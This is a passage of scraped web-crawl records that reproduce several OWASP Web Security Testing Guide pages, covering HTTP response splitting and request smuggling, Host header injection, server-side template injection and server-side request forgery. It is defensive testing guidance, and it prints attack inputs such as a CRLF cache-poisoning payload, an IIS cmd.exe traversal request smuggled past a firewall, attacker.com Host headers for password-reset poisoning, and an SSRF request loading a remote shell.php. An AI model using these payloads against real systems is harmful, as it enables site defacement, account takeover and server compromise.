web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests.\n\nLet’s say that in the previous example the tester passes the following data as the interface parameter:\n\n`advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0aSorry,%20System%20Down`\n\nThe resulting answer from the vulnerable application will therefore be the following:\n\n```\nHTTP/1.1 302 Moved Temporarily Date: Sun, 03 Dec 2005 16:22:19 GMT Location: http://victim.com/main.jsp?interface=advanced Content-Length: 0\n\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 35\n\nSorry,%20System%20Down\n\n```\n\nThe web cache will see two different responses, so if the attacker sends, immediately after the first request, a second one asking for `/index.html`, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to `victim.com/index.html` passing through that web cache will receive the “system down” message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application).\n\nAlternatively, the attacker could pass to those users a JavaScript snippet that mounts a cross site scripting attack, e.g., to steal the cookies. Note that while the vulnerability is in the application, the target here is its users. Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether they can successfully inject a CR+LF sequence in it.\n\nThe headers that are the most likely candidates for this attack are:\n\n- `Location`\n- `Set-Cookie`\n\nIt must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:\n\n1. The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g., a Last-Modified header with a date set in the future). They might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with `Pragma: no-cache` in the request headers\n2. The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g., `<` and `>` ). In this case, the tester can try to use other encodings (e.g., UTF-7)\n3. Some targets (e.g., ASP) will URL-encode the path part of the Location header (e.g., `www.victim.com/redirect.asp` ), making a CRLF sequence useless. However, they fail to encode the query section (e.g., ?interface=advanced), meaning that a leading question mark is enough to bypass this filtering\n\nFor a more detailed discussion about this attack and other information about possible scenarios and applications, check the papers referenced at the bottom of this section.\n\n### Gray-Box Testing\n\n#### HTTP Splitting\n\nA successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target. For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray-box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET.\n\n#### HTTP Smuggling\n\nAs mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.\n\n##### Application Firewall Bypass\n\nThere are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. For example, consider the infamous, old [Unicode directory traversal attack against IIS server](https://www.securityfocus.com/bid/1806), in which an attacker could break out the www root by issuing a request like:\n\n`http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+`\n\nOf course, it is quite easy to spot and filter this attack by the presence of strings like “..” and “cmd.exe” in the URL. However, IIS 5.0 is quite picky about POST requests whose body is up to 48K bytes and truncates all content that is beyond this limit when the Content-Type header is different from application/x-www-form-urlencoded. The pen-tester can leverage this by creating a very large request, structured as follows:\n\n```\nPOST /target.asp HTTP/1.1 <-- Request #1 Host: target Connection: Keep-Alive Content-Length: 49225 <49152 bytes of garbage> \n```\n\n```\nPOST /target.asp HTTP/1.0 <-- Request #2 Connection: Keep-Alive Content-Length: 33 \n```\n\n```\nPOST /target.asp HTTP/1.0 <-- Request #3 xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <-- Request #4 Connection: Keep-Alive \n```\n\nWhat happens here is that the `Request #1` is made of 49223 bytes, which includes also the lines of `Request #2`. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see `Request #2` (its data will be just part of #1), will see `Request #3` and miss `Request #4` (because the POST will be just part of the fake header xxxx).\n\nNow, what happens to IIS 5.0 ? It will stop parsing `Request #1` right after the 49152 bytes of garbage (as it will have reached the 48K=49152 bytes limit) and will therefore parse `Request #2` as a new, separate request. `Request #2` claims that its content is 33 bytes, which includes everything until “xxxx: “, making IIS miss `Request #3` (interpreted as part of `Request #2`) but spot `Request #4`, as its POST starts right after the 33rd byte or `Request #2`. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.\n\nWhile in the aforementioned case the technique exploits a bug of a web server, there are other scenarios in which we can leverage the different ways that different HTTP-enabled devices parse messages that are not 1005 RFC compliant. For instance, the HTTP protocol allows only one Content-Length header, but does not specify how to handle a message that has two instances of this header. Some implementations will use the first one while others will prefer the second, cleaning the way for HTTP Smuggling attacks. Another example is the use of the Content-Length header in a GET message.\n\nNote that HTTP Smuggling does `*not*` exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.\n\n## References\n\n### Whitepapers\n\n- [Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics”](https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html)\n- [Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”](https://www.slideserve.com/alicia/http-message-splitting-smuggling-and-other-animals-powerpoint-ppt-presentation)\n- [Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)”](https://www.securityfocus.com/archive/1/411418)\n- [Amit Klein: “HTTP Response Smuggling”](https://www.securityfocus.com/archive/1/425593)\n- [Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling”](https://www.cgisecurity.com/lib/http-request-smuggling.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11317, "slov": 1736, "odkazu": 184, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:08", "sha256": "421a9c8dcb967ffe9ca73d6514c0e3e5bd6786825d579084763c6d0cd1ed13c9", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.securityfocus.com/bid/1806", "https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html", "https://www.slideserve.com/alicia/http-message-splitting-smuggling-and-other-animals-powerpoint-ppt-presentation", "https://www.securityfocus.com/archive/1/411418", "https://www.securityfocus.com/archive/1/425593", "https://www.cgisecurity.com/lib/http-request-smuggling.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for HTTP Incoming Requests"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Reverse Proxy"}, {"uroven": 3, "text": "Port Forwarding"}, {"uroven": 3, "text": "TCP-level Network Traffic Capture"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for HTTP Incoming Requests\n\n| ID |\n| --- |\n| WSTG-INPV-16 |\n\n## Summary\n\nThis section describes how to monitor all incoming/outgoing HTTP requests on both client-side or server-side. The purpose of this testing is to verify if there is unnecessary or suspicious HTTP request sending in the background.\n\nMost of Web security testing tools (i.e. AppScan, BurpSuite, ZAP) act as HTTP Proxy. This will require changes of proxy on client-side application or browser. The testing techniques listed below is primary focused on how we can monitor HTTP requests without changes of client-side which will be more close to production usage scenario.\n\n## Test Objectives\n\n- Monitor all incoming and outgoing HTTP requests to the Web Server to inspect any suspicious requests.\n- Monitor HTTP traffic without changes of end user Browser proxy or client-side application.\n\n## How to Test\n\n### Reverse Proxy\n\nThere is situation that we would like to monitor all HTTP incoming requests on web server but we can’t change configuration on the browser or application client-side. In this scenario, we can setup a reverse proxy on web server end to monitor all incoming/outgoing requests on web server.\n\nFor windows platform, Fiddler is recommended. It provides not only monitor but can also edit/reply the HTTP requests. Refer to [this reference for how to configure Fiddler as reverse Proxy](http://docs.telerik.com/fiddler/Configure-Fiddler/Tasks/UseFiddlerAsReverseProxy)\n\nFor Linux platform, Charles Web Debugging Proxy may be used.\n\nThe testing steps:\n\n1. Install Fiddler or Charles on Web Server\n2. Configure the Fiddler or Charles as Reverse Proxy\n3. Capture the HTTP traffic\n4. Inspect HTTP traffic\n5. Modify HTTP requests and replay the modified requests for testing\n\n### Port Forwarding\n\nPort forwarding is another way to allow us intercept HTTP requests without changes of client-side. You can also use Charles as a SOCKS proxy to act as port forwarding or uses of Port Forwarding tools. It will allow us to forward all coming client-side captured traffic to web server port.\n\nThe testing flow will be:\n\n1. Install the Charles or port forwarding on another machine or web Server\n2. Configure the Charles as Socks proxy as port forwarding.\n\n### TCP-level Network Traffic Capture\n\nThis technique monitor all the network traffic at TCP-level. TCPDump or WireShark tools can be used. However, these tools don’t allow us edit the captured traffic and send modified HTTP requests for testing. To replay the captured traffic (PCAP) packets, Ostinato can be used.\n\nThe testing steps will be:\n\n1. Activate TCPDump or WireShark on Web Server to capture network traffic\n2. Monitor the captured files (PCAP)\n3. Edit PCAP files by Ostinato tool based on need\n4. Reply the HTTP requests\n\nFiddler or Charles are recommended since these tools can capture HTTP traffic and also easily edit/reply the modified HTTP requests. In addition, if the web traffic is HTTPS, the wireshark will need to import the web server private key to inspect the HTTPS message body. Otherwise, the HTTPS message body of the captured traffic will all be encrypted.\n\n## Tools\n\n- [Fiddler](https://www.telerik.com/fiddler/)\n- [TCPProxy](http://grinder.sourceforge.net/g3/tcpproxy.html)\n- [Charles Web Debugging Proxy](https://www.charlesproxy.com/)\n- [WireShark](https://www.wireshark.org/)\n- [PowerEdit-Pcap](https://sourceforge.net/projects/powereditpcap/)\n- [pcapteller](https://github.com/BlackArch/pcapteller)\n- [replayproxy](https://github.com/sparrowt/replayproxy)\n- [Ostinato](https://ostinato.org/)\n\n## References\n\n- [Charles Web Debugging Proxy](https://www.charlesproxy.com/)\n- [Fiddler](https://www.telerik.com/fiddler/)\n- [TCPDUMP](https://www.tcpdump.org/)\n- [Ostinato](https://ostinato.org/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3798, "slov": 522, "odkazu": 188, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:09", "sha256": "c24aa1e2db3302318e7600b81b966202daa1b6fb34c798baa8920f2937dfb540", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://docs.telerik.com/fiddler/Configure-Fiddler/Tasks/UseFiddlerAsReverseProxy", "https://www.telerik.com/fiddler/", "http://grinder.sourceforge.net/g3/tcpproxy.html", "https://www.charlesproxy.com/", "https://www.wireshark.org/", "https://sourceforge.net/projects/powereditpcap/", "https://github.com/BlackArch/pcapteller", "https://github.com/sparrowt/replayproxy", "https://ostinato.org/", "https://www.tcpdump.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Web Cache Poisoning"}, {"uroven": 3, "text": "Password Reset Poisoning"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n| ID |\n| --- |\n| WSTG-INPV-17 |\n\n## Summary\n\nA web server commonly hosts several web applications on the same IP address, referring to each application via the virtual host. In an incoming HTTP request, web servers often dispatch the request to the target virtual host based on the value supplied in the Host header. Without proper validation of the header value, the attacker can supply invalid input to cause the web server to:\n\n- dispatch requests to the first virtual host on the list\n- cause a redirect to an attacker-controlled domain\n- perform web cache poisoning\n- manipulate password reset functionality\n\n## Test Objectives\n\n- Assess if the Host header is being parsed dynamically in the application.\n- Bypass security controls that rely on the header.\n\n## How to Test\n\nInitial testing is as simple as supplying another domain (i.e. `attacker.com`) into the Host header field. It is how the web server processes the header value that dictates the impact. The attack is valid when the web server processes the input to send the request to an attacker-controlled host that resides at the supplied domain, and not to an internal virtual host that resides on the web server.\n\n```\nGET / HTTP/1.1 Host: www.attacker.com [...] \n```\n\nIn the simplest case, this may cause a 302 redirect to the supplied domain.\n\n```\nHTTP/1.1 302 Found [...] Location: http://www.attacker.com/login.php \n```\n\nAlternatively, the web server may send the request to the first virtual host on the list.\n\nIn the event that Host header injection is mitigated by checking for invalid input injected via the Host header, you can supply the value to the `X-Forwarded-Host` header.\n\n```\nGET / HTTP/1.1 Host: www.example.com X-Forwarded-Host: www.attacker.com ... \n```\n\nPotentially producing client-side output such as:\n\n```\n...\n\n...\n```\n\nOnce again, this depends on how the web server processes the header value.\n\n### Web Cache Poisoning\n\nUsing this technique, an attacker can manipulate a web-cache to serve poisoned content to anyone who requests it. This relies on the ability to poison the caching proxy run by the application itself, CDNs, or other downstream providers. As a result, the victim will have no control over receiving the malicious content when requesting the vulnerable application.\n\n```\nGET / HTTP/1.1 Host: www.attacker.com ... \n```\n\nThe following will be served from the web cache, when a victim visits the vulnerable application.\n\n```\n...\n\n...\n```\n\n### Password Reset Poisoning\n\nIt is common for password reset functionality to include the Host header value when creating password reset links that use a generated secret token. If the application processes an attacker-controlled domain to create a password reset link, the victim may click on the link in the email and allow the attacker to obtain the reset token, thus resetting the victim’s password.\n\n```\n... Email snippet ...\n\nClick on the following link to reset your password:\n\nhttp://www.attacker.com/index.php?module=Login&action=resetPassword&token=\n\n... Email snippet ...\n```\n\n## References\n\n- [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/)\n- [Host Header Attack](https://www.briskinfosec.com/blogs/blogsdetail/Host-Header-Attack)\n- [Practical HTTP Host Header Attacks](https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3483, "slov": 499, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:10", "sha256": "ba5ce25e611864d90747afb9aad670db720a5655aabb7e4af27495212b3cf633", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/", "https://www.briskinfosec.com/blogs/blogsdetail/Host-Header-Attack", "https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Server-side Template Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "Example - Twig"}, {"uroven": 3, "text": "Example - Flask/Jinja2"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Identify Template Injection Vulnerability"}, {"uroven": 3, "text": "Identify the Templating Engine"}, {"uroven": 3, "text": "Build the RCE Exploit"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Server-side Template Injection\n\n| ID |\n| --- |\n| WSTG-INPV-18 |\n\n## Summary\n\nWeb applications commonly use server-side templating technologies (Jinja2, Twig, FreeMaker, etc.) to generate dynamic HTML responses. Server-side Template Injection vulnerabilities (SSTI) occur when user input is embedded in a template in an unsafe manner and results in remote code execution on the server. Any features that support advanced user-supplied markup may be vulnerable to SSTI including wiki-pages, reviews, marketing applications, CMS systems etc. Some template engines employ various mechanisms (eg. sandbox, allow listing, etc.) to protect against SSTI.\n\n### Example - Twig\n\nThe following example is an excerpt from the [Extreme Vulnerable Web Application](https://github.com/s4n7h0/xvwa) project.\n\n```\npublic function getFilter($name) { [snip] foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) { return $filter; } } return false; } \n```\n\nIn the getFilter function the `call_user_func($callback, $name)` is vulnerable to SSTI: the `name` parameter is fetched from the HTTP GET request and executed by the server:\n\n*Figure 4.7.18-1: SSTI XVWA Example*\n\n### Example - Flask/Jinja2\n\nThe following example uses Flask and Jinja2 templating engine. The `page` function accepts a ‘name’ parameter from an HTTP GET request and renders an HTML response with the `name` variable content:\n\n```\n@app.route(\"/page\") def page(): name = request.values.get('name') output = Jinja2.from_string('Hello ' + name + '!').render() return output \n```\n\nThis code snippet is vulnerable to XSS but it is also vulnerable to SSTI. Using the following as a payload in the `name` parameter:\n\n```\n$ curl -g 'http://www.target.com/page?name={{7*7}}'\nHello 49!\n```\n\n## Test Objectives\n\n- Detect template injection vulnerability points.\n- Identify the templating engine.\n- Build the exploit.\n\n## How to Test\n\nSSTI vulnerabilities exist either in text or code context. In plaintext context users allowed to use freeform ‘text’ with direct HTML code. In code context the user input may also be placed within a template statement (eg. in a variable name)\n\n### Identify Template Injection Vulnerability\n\nThe first step in testing SSTI in plaintext context is to construct common template expressions used by various template engines as payloads and monitor server responses to identify which template expression was executed by the server.\n\nCommon template expression examples:\n\n```\na{{bar}}b\na{{7*7}}\n{var} ${var} {{var}} <%var%> [% var %]\n```\n\nIn this step an extensive [template expression test strings/payloads list](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) is recommended.\n\nTesting for SSTI in code context is slightly different. First, the tester constructs the request that result either blank or error server responses. In the example below the HTTP GET parameter is inserted info the variable `personal_greeting` in a template statement:\n\n```\npersonal_greeting=username\nHello user01\n```\n\nUsing the following payload - the server response is blank “Hello”:\n\n```\npersonal_greeting=username\nHello\n```\n\nIn the next step is to break out of the template statement and injecting HTML tag after it using the following payload\n\n```\npersonal_greeting=username}}\nHello user01 \n```\n\n### Identify the Templating Engine\n\nBased on the information from the previous step now the tester has to identify which template engine is used by supplying various template expressions. Based on the server responses the tester deduces the template engine used. This manual approach is discussed in greater detail in [this](https://portswigger.net/blog/server-side-template-injection?#Identify) PortSwigger article. To automate the identification of the SSTI vulnerability and the templating engine various tools are available including [Tplmap](https://github.com/epinna/tplmap) or the [Backslash Powered Scanner Burp Suite extension](https://github.com/PortSwigger/backslash-powered-scanner).\n\n### Build the RCE Exploit\n\nThe main goal in this step is to identify to gain further control on the server with an RCE exploit by studying the template documentation and research. Key areas of interest are:\n\n- **For template authors** sections covering basic syntax.\n- **Security considerations** sections.\n- Lists of built-in methods, functions, filters, and variables.\n- Lists of extensions/plugins.\n\nThe tester can also identify what other objects, methods and properties can be exposed by focusing on the `self` object. If the `self` object is not available and the documentation does not reveal the technical details, a brute force of the variable name is recommended. Once the object is identified the next step is to loop through the object to identify all the methods, properties and attributes that are accessible through the template engine. This could lead to other kinds of security findings including privilege escalations, information disclosure about application passwords, API keys, configurations and environment variables, etc.\n\n## Tools\n\n- [Tplmap](https://github.com/epinna/tplmap)\n- [Backslash Powered Scanner Burp Suite extension](https://github.com/PortSwigger/backslash-powered-scanner)\n- [Template expression test strings/payloads list](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)\n\n## References\n\n- [James Kettle: Server-Side Template Injection:RCE for the modern webapp (whitepaper)](https://portswigger.net/kb/papers/serversidetemplateinjection.pdf)\n- [Server-Side Template Injection](https://portswigger.net/blog/server-side-template-injection)\n- [Exploring SSTI in Flask/Jinja2](https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/)\n- [Server Side Template Injection: from detection to Remote shell](https://www.okiok.com/server-side-template-injection-from-detection-to-remote-shell/)\n- [Extreme Vulnerable Web Application](https://github.com/s4n7h0/xvwa)\n- [Divine Selorm Tsa: Exploiting server side template injection with tplmap](https://owasp.org/www-pdf-archive/Owasp_SSTI_final.pdf)\n- [Exploiting SSTI in Thymeleaf](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6228, "slov": 779, "odkazu": 189, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:11", "sha256": "0f0390e39bb5a04ecc723c89b1007aa3b8e35b0e19d819cfd7f4f92c63ed45fd", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/s4n7h0/xvwa", "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection", "https://portswigger.net/blog/server-side-template-injection", "https://github.com/epinna/tplmap", "https://github.com/PortSwigger/backslash-powered-scanner", "https://portswigger.net/kb/papers/serversidetemplateinjection.pdf", "https://www.lanmaster53.com/2016/03/exploring-ssti-flask-jinja2/", "https://www.okiok.com/server-side-template-injection-from-detection-to-remote-shell/", "https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Server-Side Request Forgery"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Load the Contents of a File"}, {"uroven": 3, "text": "Access a Restricted Page"}, {"uroven": 3, "text": "Fetch a Local File"}, {"uroven": 3, "text": "HTTP Methods Used"}, {"uroven": 3, "text": "PDF Generators"}, {"uroven": 3, "text": "Common Filter Bypass"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Server-Side Request Forgery\n\n| ID |\n| --- |\n| WSTG-INPV-19 |\n\n## Summary\n\nWeb applications often interact with internal or external resources. While you may expect that only the intended resource will be handling the data you send, improperly handled data may create a situation where injection attacks are possible. One type of injection attack is called Server-side Request Forgery (SSRF). A successful SSRF attack can grant the attacker access to restricted actions, internal services, or internal files within the application or the organization. In some cases, it can even lead to Remote Code Execution (RCE).\n\n## Test Objectives\n\n- Identify SSRF injection points.\n- Test if the injection points are exploitable.\n- Asses the severity of the vulnerability.\n\n## How to Test\n\nWhen testing for SSRF, you attempt to make the targeted server inadvertently load or save content that could be malicious. The most common test is for local and remote file inclusion. There is also another facet to SSRF: a trust relationship that often arises where the application server is able to interact with other back-end systems that are not directly reachable by users. These back-end systems often have non-routable private IP addresses or are restricted to certain hosts. Since they are protected by the network topology, they often lack more sophisticated controls. These internal systems often contain sensitive data or functionality.\n\nConsider the following request:\n\n```\nGET https://example.com/page?page=about.php\n```\n\nYou can test this request with the following payloads.\n\n### Load the Contents of a File\n\n```\nGET https://example.com/page?page=https://malicioussite.com/shell.php\n```\n\n### Access a Restricted Page\n\n```\nGET https://example.com/page?page=http://localhost/admin\n```\n\nOr:\n\n```\nGET https://example.com/page?page=http://127.0.0.1/admin\n```\n\nUse the loopback interface to access content restricted to the host only. This mechanism implies that if you have access to the host, you also have privileges to directly access the `admin` page.\n\nThese kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, are often what enables SSRF to be a critical vulnerability.\n\n### Fetch a Local File\n\n```\nGET 